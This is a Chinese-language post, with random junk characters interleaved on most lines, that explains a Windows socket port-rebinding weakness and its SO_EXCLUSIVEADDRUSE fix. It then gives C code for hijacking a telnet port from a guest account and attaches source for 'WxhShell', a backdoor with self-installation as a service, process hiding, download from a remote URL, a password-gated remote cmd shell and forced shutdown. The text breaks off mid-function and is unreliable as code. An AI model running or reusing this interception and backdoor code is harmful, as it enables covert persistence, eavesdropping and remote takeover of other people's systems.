在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
`sW+R= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
u^2)oL e_U1}{=t saddr.sin_family = AF_INET;
EWz,K]_' X#v6v)c saddr.sin_addr.s_addr = htonl(INADDR_ANY);
'M20v-[ {`RCh]W bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
py\KY R ]#$l"ss, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
bhk:Szqz d\eTyN'rA 这意味着什么?意味着可以进行如下的攻击:
tUOqF LtrE;+%2oz 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ENoGV;WG -/^a2_d[ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
[f ._w~ 3[_zz;Y*d 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
HNXMM +\s32o
zg 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
6gr?#D -F b*5Yy/U 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Gl am(V1 MBp,!_Q6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
~F)[H'$A :~"Dwrui 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
O@9<7@h+Nl oItEGJ| #include
<GdQ""X #include
4hl`~&yDf #include
z4!Y9 #include
FaA'%P@ DWORD WINAPI ClientThread(LPVOID lpParam);
n]nb+_-97 int main()
,F;<Y9] {
%"yy8~| WORD wVersionRequested;
i!yu%>:M DWORD ret;
VbU*&{j WSADATA wsaData;
Nbyc,a[o BOOL val;
xZ=6 SOCKADDR_IN saddr;
0,{tBo SOCKADDR_IN scaddr;
"pA24Ze int err;
yb/v?q?Fk SOCKET s;
TyGsSc SOCKET sc;
NzBX2 int caddsize;
0&21'K)pW HANDLE mt;
z5tOsU DWORD tid;
w^EUBRI- wVersionRequested = MAKEWORD( 2, 2 );
]=ubl!0=: err = WSAStartup( wVersionRequested, &wsaData );
S+*%u/;l if ( err != 0 ) {
m)\wbkC printf("error!WSAStartup failed!\n");
A_pcv7=@ return -1;
sKCfI] }
<>l! saddr.sin_family = AF_INET;
g&]n:qx -a+oQP]O //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
AQ<2 "s ]r&dWF saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
!
<O,xI' saddr.sin_port = htons(23);
m[w 8|[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
GZx?vSoHh {
h\<;N*Xi printf("error!socket failed!\n");
IKs2.sj"o return -1;
-~+Y0\%E }
vyhxS .[9 val = TRUE;
&al\8 //SO_REUSEADDR选项就是可以实现端口重绑定的
SbYsa if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
mo*ClU7 {
+)<H,?/ printf("error!setsockopt failed!\n");
.}*_NU
return -1;
_mG>^QI. }
1)N~0)dO //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
p=jIDM' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$T2n^yz //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
`21$e G5Z_[Q~z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
y9::m]s {
gPf^dGi7t ret=GetLastError();
gI5Fzk@: printf("error!bind failed!\n");
#U?=D/ return -1;
nq,P.~l }
d>bS) listen(s,2);
wM0P#+bA\ while(1)
L9bIdiB7 {
r>kDRIHB caddsize = sizeof(scaddr);
i-W!`1LH' //接受连接请求
6$'0^Ftm' sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Qh{]gw-6 if(sc!=INVALID_SOCKET)
".|?A9m_ {
iJ%`ym4Y mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
hcrx(oJ5 if(mt==NULL)
w=}R'O;k {
PvkHlb^x% printf("Thread Creat Failed!\n");
4+2hj*I break;
G
]JWd }
%:=Jr#a }
S!{Kn ;@ CloseHandle(mt);
<pp<%~_Z }
48W-Tf6v| closesocket(s);
\?K>~{) WSACleanup();
$?Yw{%W return 0;
a"pejW`m }
15U[F0b DWORD WINAPI ClientThread(LPVOID lpParam)
>&DNxw {
k_A
9gj1 SOCKET ss = (SOCKET)lpParam;
0o* SOCKET sc;
;Y"*Z2U unsigned char buf[4096];
f%ynod8 SOCKADDR_IN saddr;
<f/wWu} long num;
n%%u0a% DWORD val;
4K<T_B/ DWORD ret;
?6>rQ6tBv //如果是隐藏端口应用的话,可以在此处加一些判断
`mo>~c7 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
mj^]e/s% saddr.sin_family = AF_INET;
w@Gk# saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
:d`8:gv? saddr.sin_port = htons(23);
KGq4tlM6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
P6([[mmG {
3^%sz!jK+ printf("error!socket failed!\n");
h8-'I=~ return -1;
-_xC,dwK }
;d{lvKk val = 100;
c:f++|| if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
=F>nqklc {
GTBT0$9g. ret = GetLastError();
_>)=c<HL return -1;
z ;KUIWg }
-7\6j#;l if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;DN:AgXP {
OK1f Y`$z ret = GetLastError();
n?z^"vv$i return -1;
AfOq?V }
u*C"d1v= if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
C~([aH@-I {
ab-MEN`5 printf("error!socket connect failed!\n");
sXmo.{Ayb closesocket(sc);
y|0I3n]e closesocket(ss);
D-!#TN`Y return -1;
y+D"LeCAad }
3V2w1CERE while(1)
j"Vb8} {
9CW8l0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
j9IeqlL //如果是嗅探内容的话,可以再此处进行内容分析和记录
b/Q\
.! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
9X[}ik0 num = recv(ss,buf,4096,0);
y+ZCuX if(num>0)
q=|0lZ$`V_ send(sc,buf,num,0);
R404\XGL else if(num==0)
;th]/ G break;
!YJ^BI num = recv(sc,buf,4096,0);
/qalj\ud if(num>0)
TR([u send(ss,buf,num,0);
va_TC!{; else if(num==0)
W2([vRT break;
ok+-#~VTn }
avI closesocket(ss);
@N0(%o& closesocket(sc);
{x8UL7{ return 0 ;
$}/Q%r }
g
:Z,
ab4
%=O$@.%Zc HxmCKW! ==========================================================
YvP u%=eF wcI4Y0+J 下边附上一个代码,,WXhSHELL
#:?MtVC $3C$])k ==========================================================
UIl^s8/ F< #!83*% #include "stdafx.h"
mp x/~`c Gr
a(DGX #include <stdio.h>
VSI.c`=, #include <string.h>
yt-F2Z& #include <windows.h>
wc
!
v /A #include <winsock2.h>
LbeMP #include <winsvc.h>
0- 'f1 1S #include <urlmon.h>
/`Wd+ Hx]{'? #pragma comment (lib, "Ws2_32.lib")
G$buZspL'd #pragma comment (lib, "urlmon.lib")
389puDjy `*1059 #define MAX_USER 100 // 最大客户端连接数
^9Je8 @Yu #define BUF_SOCK 200 // sock buffer
"[LSDE"( #define KEY_BUFF 255 // 输入 buffer
VC6S4FU4K [Bz'c1 #define REBOOT 0 // 重启
uPtHCP6 #define SHUTDOWN 1 // 关机
sa71Vh{ &2!F:L #define DEF_PORT 5000 // 监听端口
.7nr :P W2a9P_ #define REG_LEN 16 // 注册表键长度
XU}sbbwu #define SVC_LEN 80 // NT服务名长度
W]v[Xm$q $K,6!FyBa // 从dll定义API
^5l4D3@E typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
CbA2?( 1o1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
$ZPiM typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
5 ^\f[} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
U/JeEI%L @zJhJ'~Sl // wxhshell配置信息
AjQ^
{P struct WSCFG {
M zLx2? int ws_port; // 监听端口
7 vS]O$w<4 char ws_passstr[REG_LEN]; // 口令
?=]*r>a3 int ws_autoins; // 安装标记, 1=yes 0=no
Q(}TN,N char ws_regname[REG_LEN]; // 注册表键名
~!,Q<? char ws_svcname[REG_LEN]; // 服务名
<p'~$vK char ws_svcdisp[SVC_LEN]; // 服务显示名
9%?'[jJ char ws_svcdesc[SVC_LEN]; // 服务描述信息
h69: Tj! char ws_passmsg[SVC_LEN]; // 密码输入提示信息
\c! LC4pE int ws_downexe; // 下载执行标记, 1=yes 0=no
F H'jP` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
N>fC" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Cz\(.MWNZ $UZ4,S?V };
35;)O - BHwQB2t gc // default Wxhshell configuration
*yv@-lP5s struct WSCFG wscfg={DEF_PORT,
2wWL]`(E "xuhuanlingzhe",
CMIjc(m 1,
PUUBn"U- "Wxhshell",
P7I,xcOm "Wxhshell",
`ecuquX' "WxhShell Service",
Cl;B%5yl "Wrsky Windows CmdShell Service",
dJ#.
m "Please Input Your Password: ",
!Cj1:P 1,
:zC'jceO "
http://www.wrsky.com/wxhshell.exe",
m<BL/7 "Wxhshell.exe"
,uD>.-> };
2&W(@wT$ -ANp88a // 消息定义模块
F*QD\sG: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=GQ?P*x|$ char *msg_ws_prompt="\n\r? for help\n\r#>";
}0#cdw#gH char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
cz/mUU char *msg_ws_ext="\n\rExit.";
v UAYYe char *msg_ws_end="\n\rQuit.";
4[]R?lL char *msg_ws_boot="\n\rReboot...";
U4_< char *msg_ws_poff="\n\rShutdown...";
*HmL8c char *msg_ws_down="\n\rSave to ";
C.{*|#&GAt icF -`m char *msg_ws_err="\n\rErr!";
_c|>m4+X char *msg_ws_ok="\n\rOK!";
a$MMp= p O\L(I079 char ExeFile[MAX_PATH];
<ZJ>jZV0* int nUser = 0;
i&^?p|eKa HANDLE handles[MAX_USER];
G:.Nq,513 int OsIsNt;
kNW&rg t%Z_*mIfmE SERVICE_STATUS serviceStatus;
??rx\*,C</ SERVICE_STATUS_HANDLE hServiceStatusHandle;
,z)7rU` @T1/S&F= // 函数声明
i\B>J?Q\ int Install(void);
0+O)~>v int Uninstall(void);
J-fU,*Bk int DownloadFile(char *sURL, SOCKET wsh);
c7IgndVAV int Boot(int flag);
jow^~ void HideProc(void);
'?Q [.{< int GetOsVer(void);
&_&])V)<\S int Wxhshell(SOCKET wsl);
`X]-blHo void TalkWithClient(void *cs);
F'Fc)9qFa< int CmdShell(SOCKET sock);
WjGv%^? int StartFromService(void);
J%xp1/=2 int StartWxhshell(LPSTR lpCmdLine);
.9WUp> |rf\]3 F VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
~aH*ZA*f VOID WINAPI NTServiceHandler( DWORD fdwControl );
5/mW:G,& "HVwm>qEi // 数据结构和表定义
B[-%A!3
F SERVICE_TABLE_ENTRY DispatchTable[] =
)F<<M+q= {
g?(Z+w4A
3 {wscfg.ws_svcname, NTServiceMain},
5JI+42S
\ {NULL, NULL}
C9Fc(Y?_ };
u *z $ I 1z~;c| // 自我安装
@l&5 |Cia int Install(void)
6.~(oepu {
P]+^^U char svExeFile[MAX_PATH];
Tp<=dH%$%" HKEY key;
]k{cPK strcpy(svExeFile,ExeFile);
ls,gQ]B:P M!=v"C# // 如果是win9x系统,修改注册表设为自启动
quf,ZK5 if(!OsIsNt) {
l~&efAJ-$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`R8~H7{I6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~MO'%'@ RegCloseKey(key);
9XS+W
w7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/k1&?e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-MHu BgYJ- RegCloseKey(key);
v(<~:] return 0;
Np|iXwl1 }
e\.|d<N? }
pZGso }
5cyl:1Ln else {
.4F(Y_c t2+m7*76 // 如果是NT以上系统,安装为系统服务
nI.#A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
rN{&$+"2 if (schSCManager!=0)
+U+c]Xgt {
'y}A3RqN SC_HANDLE schService = CreateService
_J
(
X\$|oiR schSCManager,
c.&vWmLSGE wscfg.ws_svcname,
jRB:o?S wscfg.ws_svcdisp,
cY#TH|M SERVICE_ALL_ACCESS,
~AK!_EOs` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
;'tsdsu} SERVICE_AUTO_START,
`"(7)T{ SERVICE_ERROR_NORMAL,
/Rk5n svExeFile,
3Luv$6 NULL,
:":W(O NULL,
OU9=O> NULL,
0+r/>-3] NULL,
4_t
aCK NULL
Z/;rM8[{& );
wC=IN if (schService!=0)
K
N0S$nW+ {
;=)CjC8) CloseServiceHandle(schService);
)l30~5u<J CloseServiceHandle(schSCManager);
f*5=,$0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
uVu`TgbZ strcat(svExeFile,wscfg.ws_svcname);
]pb;q(?^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
[rPW@|^5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
TmX~vZ RegCloseKey(key);
,[Cl 'B return 0;
[b;Oalw }
}tv- }
gMI%z2]'- CloseServiceHandle(schSCManager);
B7}-g"p$/ }
,{8~TVO }
9KXp0Q?-$ w=#&(xm0 return 1;
,=o q)Fm] }
z0g]nYN% c
q3CN@ // 自我卸载
(eO0Ic[c int Uninstall(void)
A2rr> {
j*QY_Ny* HKEY key;
J4lE7aFDA~ W11_MTIU if(!OsIsNt) {
VWfrcSZg6M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
L<8y5B~W RegDeleteValue(key,wscfg.ws_regname);
S~Q7>oNm RegCloseKey(key);
KM0#M'dXy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>t*zY~R. RegDeleteValue(key,wscfg.ws_regname);
&,$A7: RegCloseKey(key);
>%[(C*Cks return 0;
>r]# 77d }
rKJ%/7m }
-Qn:6M>w^ }
t'9E~_!C else {
sL&u%7>Re L9r 3jz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
9=<
Z> if (schSCManager!=0)
O=mGL {
`fc*/D SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
uft~+w
P if (schService!=0)
N(1jm F {
j./bVmd. if(DeleteService(schService)!=0) {
Vx0V6{JX CloseServiceHandle(schService);
{5%<@<?) CloseServiceHandle(schSCManager);
rSEJ2%iF* return 0;
Zs{ `Yf^Q }
Y$Uvt_ CloseServiceHandle(schService);
+pe_s& }
>eUAHmXQ| CloseServiceHandle(schSCManager);
v<2+yZ M }
:'!?dszS }
`L;I/Hp }W|CIgF* return 1;
}%XNB1/` }
{H>iL vNtbb]')m // 从指定url下载文件
c"QH-sE int DownloadFile(char *sURL, SOCKET wsh)
+>:X4A* {
'*~{1gG ` HRESULT hr;
uox;PDK char seps[]= "/";
|Xu7cCh$me char *token;
]\3dJ^q|% char *file;
-nd6hx char myURL[MAX_PATH];
< )?&Jf>_ char myFILE[MAX_PATH];
Jhut>8 c2F`S1Nu< strcpy(myURL,sURL);
.#Sd|C]R7 token=strtok(myURL,seps);
f9\7v_ while(token!=NULL)
A!^,QRkRN {
Icr'l$PE file=token;
MBwp{ET!p token=strtok(NULL,seps);
x208^=F\\ }
U>I#f j<gnh GetCurrentDirectory(MAX_PATH,myFILE);
.[_&>@bmrP strcat(myFILE, "\\");
@rJ#Dr strcat(myFILE, file);
Y}WO`+Vf5 send(wsh,myFILE,strlen(myFILE),0);
<w:fR|O send(wsh,"...",3,0);
+ypT"y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
"xO`&a{ if(hr==S_OK)
|LjCtm)@+ return 0;
N4}h_mh^' else
AV&ege return 1;
c,-< 4e lW2qVR }
LS_QoS p1D-Q7F // 系统电源模块
6Q>w\@lF int Boot(int flag)
vLC&C-f {
0-#ct1- HANDLE hToken;
~KNxAxyVi TOKEN_PRIVILEGES tkp;
$i2gOz <l6CtK@ if(OsIsNt) {
.9E`x>C OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
w5|"cD#8A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
vTP_vsdeG tkp.PrivilegeCount = 1;
)a6i8b3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
k+i=0P0mf AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
-`gC?yff: if(flag==REBOOT) {
KA< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
H_2hr[ return 0;
<zUmcZ }
4 IHl'*D[# else {
Z*Y?"1ar if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
5eU/ [F9 return 0;
'nLv0.7* }
IrVeP&KM+ }
!bY{T#i)k else {
un\^Wmbw if(flag==REBOOT) {
nOB
]?{X if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
]x Kmz return 0;
B\mdOTLQ }
b9v Kux else {
T]myhNk if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
L%<1C\k return 0;
i a|F }
urN&."c }
m$ JQ[vgh &O[o;(}mFI return 1;
`#UTOYx4 }
N,O[pTwj [J]; // win9x进程隐藏模块
vxm`[s |QC void HideProc(void)
Du{]r[[C {
N;w1f"V} 8sIGJ|ku HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
~<eiWDf if ( hKernel != NULL )
3!
+5MsR+ {
(5I]um tge pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
[DE8s[i- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
+:t1P V;l FreeLibrary(hKernel);
q@\D5F%
> }
jv7zvp Md~mI8 return;
UxW>hbzr&V }
r`krv-,O$ {P]l{W@li // 获取操作系统版本
I;`V*/s8" int GetOsVer(void)
{L+?n*;CA {
}Bb(wP^B. OSVERSIONINFO winfo;
g7H;d winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
sv[)?1S GetVersionEx(&winfo);
Oo0$n]*;W if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
<E^:{J95 return 1;
<O*q;&9 else
Soa.thP return 0;
}l/md/C0 }
KW09qar 5GY%ZRHh // 客户端句柄模块
mkWIJH int Wxhshell(SOCKET wsl)
XI0O^[/n{ {
U/ZbE?it> SOCKET wsh;
}C'z$i( y struct sockaddr_in client;
6>"0H/y, DWORD myID;
n% *u;iG gC3{:MC-G while(nUser<MAX_USER)
wb{y]~&6K {
*n*OVI8L int nSize=sizeof(client);
wF%XM_M wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
*yf+5q4t if(wsh==INVALID_SOCKET) return 1;
?;*mSQA`J z!1j8o2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
V`%m~#Me if(handles[nUser]==0)
7e40 }n closesocket(wsh);
`)%eU~ else
1S=I(n?E nUser++;
n*;I2 FV] }
_#L
IG2d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
4@bL` L) p5bH-km6 return 0;
YF;8il{p }
)sL:iGU C*KRu`t // 关闭 socket
_Y0o\0B void CloseIt(SOCKET wsh)
>Z3}WMgBN {
S<>e(x3g] closesocket(wsh);
bH=5[ nUser--;
`$i`i 'S ExitThread(0);
o~}q@]] }
+(<CE#bb[ 9(iJ=ao ( // 客户端请求句柄
|e9}G,1 void TalkWithClient(void *cs)
h?TE$&CL? {
YZoudX'" KavRW.w SOCKET wsh=(SOCKET)cs;
3QF!fll^ char pwd[SVC_LEN];
r^@*Cir char cmd[KEY_BUFF];
3*;{C|]S char chr[1];
weu'<C int i,j;
bT>^%
H3 CSD8?k]2 while (nUser < MAX_USER) {
"ex?
#qD& GoF C!nx if(wscfg.ws_passstr) {
pa+y(!G if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6 o+zhi;E //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C!.6:Aj //ZeroMemory(pwd,KEY_BUFF);
eag$i.^aS i=0;
!WY@)qlf while(i<SVC_LEN) {
@z2RMEC~ +/Z:L$C6 // 设置超时
P_qxw-s fd_set FdRead;
\n`]QN struct timeval TimeOut;
")LF;e FD_ZERO(&FdRead);
W0?yPP=. FD_SET(wsh,&FdRead);
J%}}(G~ TimeOut.tv_sec=8;
{o]OxqE@ TimeOut.tv_usec=0;
bFTWuM int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
N7jAPI@a\i if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
<:ZN zcA"\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
B4{A(-Tc pwd
=chr[0]; ]=pEs6%O3
if(chr[0]==0xd || chr[0]==0xa) { U%KoG-#
pwd=0; 8gx^e./
break; `j<'*v
zo
} E-Mp|y /V
i++; c\R!z&y~
} 9(H8MUF0{
H\ NO4=
// 如果是非法用户,关闭 socket Kj-`ru
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MjLyB^M
} Dm5UQe
'[A>eC++
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mB!81%f%|
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #cApk
\F<]l6E
while(1) { Mk^o*L{H
IP~g7`Y
ZeroMemory(cmd,KEY_BUFF); UL{Xe&sT
E(S}c*05O
// 自动支持客户端 telnet标准 aEgzQono
j=0; H!xBFiOH$n
while(j<KEY_BUFF) { on(W^ocnD
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L
~
cmd[j]=chr[0]; kp0>8rkF
if(chr[0]==0xa || chr[0]==0xd) { +}:c+Z<
cmd[j]=0; 0">#h
break; htkyywv
} U2K>\/ -~
j++; I=b#tUBh8
} myXp]=Sb?
5[;^Em)C
// 下载文件 W`;E-28Dg
if(strstr(cmd,"http://")) { u2F
3>s
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7&+Gv6E
if(DownloadFile(cmd,wsh)) 20K<}:5t1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H{+U; 6b
else @5kN
L~2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aUJ&
} q!FJP9x
else { QXF>xZ~
N($j;<Q
switch(cmd[0]) { qC]D9
A
%u!#f<"[
// 帮助 OtnYv
case '?': { ]P 2M
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !Dun<\
break; j7i[z>:Y
} n[{o~VN
// 安装 D@f%&|IZ
case 'i': { )~WxNn3rx
if(Install()) 8IVKS>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5[I9/4,
else H p1cVs
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T$'Ja'9Kj
break; R(hqBa/V
} Ib!`ChZ
// 卸载 !.F`8OD`u
case 'r': { ) .#,1
if(Uninstall()) (I\aGGW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fPspJug
else C~:aol i;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {)`5*sd
break; o{:D
} lM?P8#3
// 显示 wxhshell 所在路径 AR)&W/S)7,
case 'p': { <FGM/e4
char svExeFile[MAX_PATH]; ogPxj KSI
strcpy(svExeFile,"\n\r"); }z[O_S,X
strcat(svExeFile,ExeFile); `<
VoZ/v
send(wsh,svExeFile,strlen(svExeFile),0); gBresHrlH
break; _hXadLt
} \24neD4cM@
// 重启 Yr[1-Oy/k
case 'b': { t6j(9[gGq
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `33+OW
if(Boot(REBOOT)) ,Kdvt@vle
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R`/nsou
else { 8 v&5)0u
closesocket(wsh); 0xH$!?{b
ExitThread(0); XD*$$`+#
} B9+oI cO
break; P 0,]Ud
} 9B<y w.
// 关机 RJ@d_~%U
case 'd': { qk<tLvD_'
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Th@L68
if(Boot(SHUTDOWN)) yzXwxi1#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .-nA#/2-
else { 0PTB3-
closesocket(wsh); 9t;aJFI
ExitThread(0); /eZAAH
} AEEy49e
break; jLcW;7OAC
} AD~\/V&+
// 获取shell lQ)ZsFs=
case 's': { R1?g6. Mq
CmdShell(wsh); F4d L{0;j
closesocket(wsh); /&dC? bY
ExitThread(0); T w/CJg
break; u},<On
} Qx$Yj
// 退出 AnI ENJ
case 'x': { 6\'v_A
O
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eF:6k qg
CloseIt(wsh); u:fiil$
break; {8b6A~/
} #y2="$V
// 离开 j2tw`*S+
case 'q': { .rax`@\8
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \'j%q\Bl;
closesocket(wsh); 5AQ $xm4
WSACleanup(); 'J+Vw9s7
exit(1); <A+Yo3|7
break; @lBR;B"
} ~9 K4]5K-
} 7nfQ=?XNK
} =7#)8p[
v-&^G3
// 提示信息 Zj!S('hSY
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &eyFApM[Z
} K*p^Gs,
} [+>$'Du
~h0SD(
return; u'LA%l-
} Pp#!yMxBr
Jg|/*Or
// shell模块句柄 NCX!ss
int CmdShell(SOCKET sock) 6-<,1Q'D
{ Gz$DsaG
STARTUPINFO si; eH79,!=2
ZeroMemory(&si,sizeof(si)); %xkqiI3Ff
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oP_'0h0X
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e)>Z&e,3
PROCESS_INFORMATION ProcessInfo; SIzW3y[
char cmdline[]="cmd"; 8V^gOUF.
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "'dt"x)
return 0; k45xtKS>d
} A10/"Ec<u
8`9!ocrM
// 自身启动模式 L 'H1\'
o
int StartFromService(void) swe6AQ-
{
X1y1
typedef struct W<v?D6dFq
{ 0M-Zp[w\-
DWORD ExitStatus; X~%Wg*Hm
DWORD PebBaseAddress; 0 UjT<t^F
DWORD AffinityMask; z2S53^C*
DWORD BasePriority; 3fn6W)v?
